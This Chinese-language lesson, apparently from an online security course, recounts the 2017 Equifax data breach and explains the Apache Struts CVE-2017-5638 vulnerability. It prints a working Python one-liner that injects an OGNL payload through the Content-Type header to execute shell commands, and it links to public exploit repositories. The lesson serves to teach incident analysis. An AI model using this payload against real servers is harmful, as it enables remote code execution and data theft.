mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-17 06:33:48 +08:00
76 lines
9.7 KiB
Markdown
76 lines
9.7 KiB
Markdown
<audio id="audio" title="03 | Equifax信息泄露始末" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a6/03/a66c7a80a6eea9c4d601185f94951703.mp3"></audio>
|
||
|
||
相信你一定有所耳闻，9月份美国知名征信公司Equifax出现了大规模数据泄露事件，致使1.43亿美国用户及大量的英国和加拿大用户受到影响。今天，我就来跟你聊聊Equifax信息泄露始末，并对造成本次事件的原因进行简单的分析。
|
||
|
||
# Equifax信息泄露始末
|
||
|
||
Equifax日前确认，黑客利用了其系统中未修复的Apache Struts漏洞（CVE-2017-5638，2017年3月6日曝光）来发起攻击，导致了最近这次影响恶劣的大规模数据泄露事件。
|
||
|
||
作为美国三大信用报告公司中历史最悠久的一家，Equifax的主营业务是为客户提供美国、加拿大和其他多个国家的公民信用信息。保险公司就是其服务的主要客户之一，涉及生命、汽车、火灾、医疗保险等多个方面。
|
||
|
||
此外，Equifax还提供入职背景调查、保险理赔调查，以及针对企业的信用调查等服务。由于Equifax掌握了多个国家公民的信用档案，包括公民的学前、学校经历、婚姻、工作、健康、政治参与等大量隐私信息，所以这次的信息泄露，影响面积很大，而且性质特别恶劣。
|
||
|
||
受这次信息泄露影响的美国消费者有1.43亿左右，另估计约有4400万的英国客户和大量加拿大客户受到影响。事件导致Equifax市值瞬间蒸发掉逾30亿美元。
|
||
|
||
根据《华尔街日报》（The Wall Street Journal）的观察，自Equifax在9月8日披露黑客进入该公司部分系统以来，全美联邦法院接到的诉讼已经超过百起。针对此次事件，Equifax首席执行官理查德·史密斯（Richard Smith）表示，公司正在对整体安全操作进行全面彻底的审查。
|
||
|
||
事件发生之初，Equifax在声明中指出，黑客是利用了某个“U.S. website application”中的漏洞获取文件。后经调查，黑客是利用了Apache Struts的CVE-2017-5638漏洞。
|
||
|
||
戏剧性的是，该漏洞于今年3月份就已被披露，其危险系数定为最高分10分，Apache随后发布的Struts 2.3.32和2.5.10.1版本特针对此漏洞进行了修复。而Equifax在漏洞公布后的两个月内都没有升级Struts版本，导致5月份黑客利用这个漏洞进行攻击，泄露其敏感数据。
|
||
|
||
事实上，除了Apache的漏洞，黑客还使用了一些其他手段绕过WAF（Web应用程序防火墙）。有些管理面板居然位于Shodan搜索引擎上。更让人大跌眼镜的是，据研究人员分析，Equifax所谓的“管理面板”都没有采取任何安保措施。安全专家布莱恩·克雷布斯（Brian Krebs）在其博客中爆料，Equifax的一个管理面板使用的用户名和密码都是“admin”。
|
||
|
||
由于管理面板能被随意访问，获取数据库密码就轻而易举了——虽然管理面板会加密数据库密码之类的东西，但是密钥却和管理面板保存在了一起。虽然是如此重要的征信机构，但Equifax的安全意识之弱可见一斑。
|
||
|
||
据悉，Equifax某阿根廷员工门户也泄露了14000条记录，包括员工凭证和消费者投诉。本次事件发生后，好事者列举了Equifax系统中的一系列漏洞，包括一年以前向公司报告的未修补的跨站脚本（XSS）漏洞，更将Equifax推向了风口浪尖。
|
||
|
||
# Apache Struts漏洞相关
|
||
|
||
Apache Struts是世界上最流行的Java Web服务器框架之一，它最初是Jakarta项目中的一个子项目，并在2004年3月成为Apache基金会的顶级项目。
|
||
|
||
Struts通过采用Java Servlet/JSP技术，实现了基于Java EE Web应用的MVC设计模式的应用框架，也是当时第一个采用MVC模式的Web项目开发框架。随着技术的发展和认知的提升，Struts的设计者意识到Struts的一些缺陷，于是有了重新设计的想法。
|
||
|
||
2006年，另外一个MVC框架WebWork的设计者与Struts团队一起开发了新一代的Struts框架，它整合了WebWork与Struts的优点，同时命名为“Struts 2”，原来的Struts框架改名为Struts 1。
|
||
|
||
因为两个框架都有强大的用户基础，所以Struts 2一发布就迅速流行开来。在2013年4月，Apache Struts项目团队发布正式通知，宣告Struts 1.x开发框架结束其使命，并表示接下来官方将不会继续提供支持。自此Apache Struts 1框架正式退出历史舞台。
|
||
|
||
同期，Struts社区表示他们将专注于推动Struts 2框架的发展。从这几年的版本发布情况来看，Struts 2的迭代速度确实不慢，仅仅在2017年就发布了9个版本，平均一个月一个。
|
||
|
||
但从安全角度来看，Struts 2可谓是漏洞百出，因为框架的功能基本已经健全，所以这些年Struts 2的更新和迭代基本也是围绕漏洞和Bug进行修复。仅从官方披露的安全公告中就可以看到，这些年就有53个漏洞预警，包括大家熟知的远程代码执行高危漏洞。
|
||
|
||
根据网络上一份未被确认的数据显示，中国的Struts应用分布在全球范围内排名第一，第二是美国，然后是日本，而中国没有打补丁的Struts的数量几乎是其他国家的总和。特别是在浙江、北京、广东、山东、四川等地，涉及教育、金融、互联网、通信等行业。
|
||
|
||
所以在今年7月，国家信息安全漏洞共享平台还发布过关于做好Apache Struts 2高危漏洞管理和应急工作的安全公告，大致意思是希望企业能够加强学习，提高安全认识，同时完善相关流程，协同自律。
|
||
|
||
而这次Equifax中招的漏洞编号是CVE-2017-5638，官方披露的信息见下图。简单来说，这是一个RCE的远程代码执行漏洞，最初是被安恒信息的Nike Zheng发现的，并于3月7日上报。
|
||
|
||
<img src="https://static001.geekbang.org/resource/image/00/cc/009ecfbac5741ea7ffd7fa3079a8c8cc.png" alt="" />
|
||
|
||
从介绍中可以看出，此次漏洞的原因是Apache Struts 2的Jakarta Multipart parser插件存在远程代码执行漏洞，攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发漏洞，最后远程执行代码。
|
||
|
||
说白了，就是在Content-Type注入OGNL语言，进而执行命令。代码如下（一行Python命令就可以执行服务器上的shell命令）：
|
||
|
||
```
|
||
import requests
|
||
requests.get("https://target", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0", "Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})
|
||
|
||
```
|
||
|
||
在GitHub上有相关的代码，链接为：[https://github.com/mazen160/struts-pwn](https://github.com/mazen160/struts-pwn) 或 [https://github.com/xsscx/cve-2017-5638](https://github.com/xsscx/cve-2017-5638)
|
||
|
||
注入点是在JakartaMultiPartRequest.java的buildErrorMessage函数中，这个函数里的localizedTextUtil.findText会执行OGNL表达式，从而导致命令执行（注：可以参看Struts 两个版本的补丁“2.5.10.1版补丁”“2.3.32版补丁”），使客户受到影响。
|
||
|
||
因为默认情况下Jakarta是启用的，所以该漏洞的影响范围甚广。当时官方给出的解决方案是尽快升级到不受影响的版本，看来Equifax的同学并没有注意到，或者也没有认识到它的严重性。
|
||
|
||
另外，在9月5日和7日，Struts官方又接连发布了几个严重级别的安全漏洞公告，分别是CVE-2017-9804、CVE-2017-9805、CVE-2017-9793和CVE-2017-12611。
|
||
|
||
这里面最容易被利用的当属CVE-2017-9805，它是由国外安全研究组织lgtm.com的安全研究人员发现的又一个远程代码执行漏洞。漏洞原因是Struts 2 REST插件使用带有XStream程序的XStream Handler 进行未经任何代码过滤的反序列化操作，所以在反序列化XML payloads时就可能导致远程代码执行。
|
||
|
||
<img src="https://static001.geekbang.org/resource/image/f8/02/f8a10b42faf789018e0a5dfadbbd0c02.png" alt="" />
|
||
|
||
不过在Apache软件基金会的项目管理委员会的回应文章中，官方也对事故原因进行了分析和讨论。首先，依然不能确定泄露的源头是Struts的漏洞导致的。其次，如果确实是源于Struts的漏洞，那么原因“或是Equifax服务器未打补丁，使得一些更早期公布的漏洞被攻击者利用，或者是攻击者利用了一个目前尚未被发现的漏洞”。
|
||
|
||
根据推测，该声明提出黑客所使用的软件漏洞可能就是CVE-2017-9805漏洞，该漏洞虽然是在9月4日才由官方正式公布，但早在7月时就有人公布在网络上了，并且这个漏洞的存在已有9年。
|
||
|
||
相信通过今天的分享，你一定对Equifax的数据泄露始末及造成原因有了清楚的了解。欢迎您把你的收获和想法，分享给我。下篇文章中，我们将回顾一下互联网时代的其他大规模数据泄露事件，并结合这些事件给出应对方案和技术手段。
|